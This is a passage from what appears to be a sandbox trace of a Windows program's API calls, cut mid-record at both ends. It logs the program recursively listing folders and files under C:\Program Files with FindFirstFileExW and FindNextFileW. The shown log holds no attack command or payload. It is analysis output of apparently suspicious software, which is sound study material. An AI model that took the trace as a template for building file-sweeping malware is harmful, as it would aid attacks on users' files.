ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9277700, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9277700, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10689, dwReserved0=0x0, dwReserved1=0x0, cFileName="Revert.wmz", cAlternateFileName="")) returned 1 [0244.918] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Visualizations\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.918] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.918] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.918] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.918] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.918] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0244.918] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Visualizations\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.919] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.919] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0244.919] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9600 | out: hHeap=0x5b0000) returned 1 [0244.919] FindClose (in: hFindFile=0x600450 | out: hFindFile=0x600450) returned 1 [0244.919] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9588 | out: hHeap=0x5b0000) returned 1 [0244.919] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ee55f9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8ee55f9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8ee55f9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x40400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1 [0244.919] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0244.919] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0b87750, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0b87750, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.919] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaafc790, ftCreationTime.dwHighDateTime=0x1d59b62, ftLastAccessTime.dwLowDateTime=0x15d88c20, ftLastAccessTime.dwHighDateTime=0x1d58e87, ftLastWriteTime.dwLowDateTime=0x15d88c20, ftLastWriteTime.dwHighDateTime=0x1d58e87, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccv_server.exe", cAlternateFileName="CCV_SE~1.EXE")) returned 1 [0244.919] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows NT\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0244.920] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.920] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa0b3b490, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0b3b490, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.920] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.920] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.920] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="ACCESS~1")) returned 1 [0244.920] lstrcmpW (lpString1="Accessories", lpString2=".") returned 1 [0244.920] lstrcmpW (lpString1="Accessories", lpString2="..") returned 1 [0244.920] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.920] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.920] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.920] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.920] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.920] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0244.920] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0244.920] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0244.921] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0244.921] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.921] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.922] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.922] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.922] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe421d16, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe421d16, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe.mui", cAlternateFileName="")) returned 1 [0244.922] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0244.922] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.922] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe421d16, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe421d16, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe.mui", cAlternateFileName="")) returned 1 [0244.922] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.922] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.922] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0244.922] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e3a861e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9e3a861e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9e7acb45, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x45f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe", cAlternateFileName="")) returned 1 [0244.923] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.923] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.923] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.923] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.923] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.923] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0244.923] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0244.923] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0244.923] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0244.923] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.923] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.924] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.924] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.924] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa260c65, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa260c65, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll.mui", cAlternateFileName="")) returned 1 [0244.925] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0244.925] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.925] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa260c65, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa260c65, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll.mui", cAlternateFileName="")) returned 1 [0244.926] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.926] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.926] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0244.926] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46672035, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x46672035, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x449faf50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll", cAlternateFileName="")) returned 1 [0244.927] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows NT\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0244.927] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa0b3b490, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0b3b490, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.927] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="ACCESS~1")) returned 1 [0244.927] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 1 [0244.927] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c47e1b0, ftCreationTime.dwHighDateTime=0x1d5b0e9, ftLastAccessTime.dwLowDateTime=0x58586a30, ftLastAccessTime.dwHighDateTime=0x1d5bf3c, ftLastWriteTime.dwLowDateTime=0x58586a30, ftLastWriteTime.dwHighDateTime=0x1d5bf3c, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="trillian.exe", cAlternateFileName="")) returned 1 [0244.927] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0244.928] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.928] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.928] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.929] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.929] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0244.929] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0244.929] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0244.929] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.929] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.929] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.929] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.929] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.929] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe.mui", cAlternateFileName="")) returned 1 [0244.933] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.934] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.934] FindNextFileW (in: 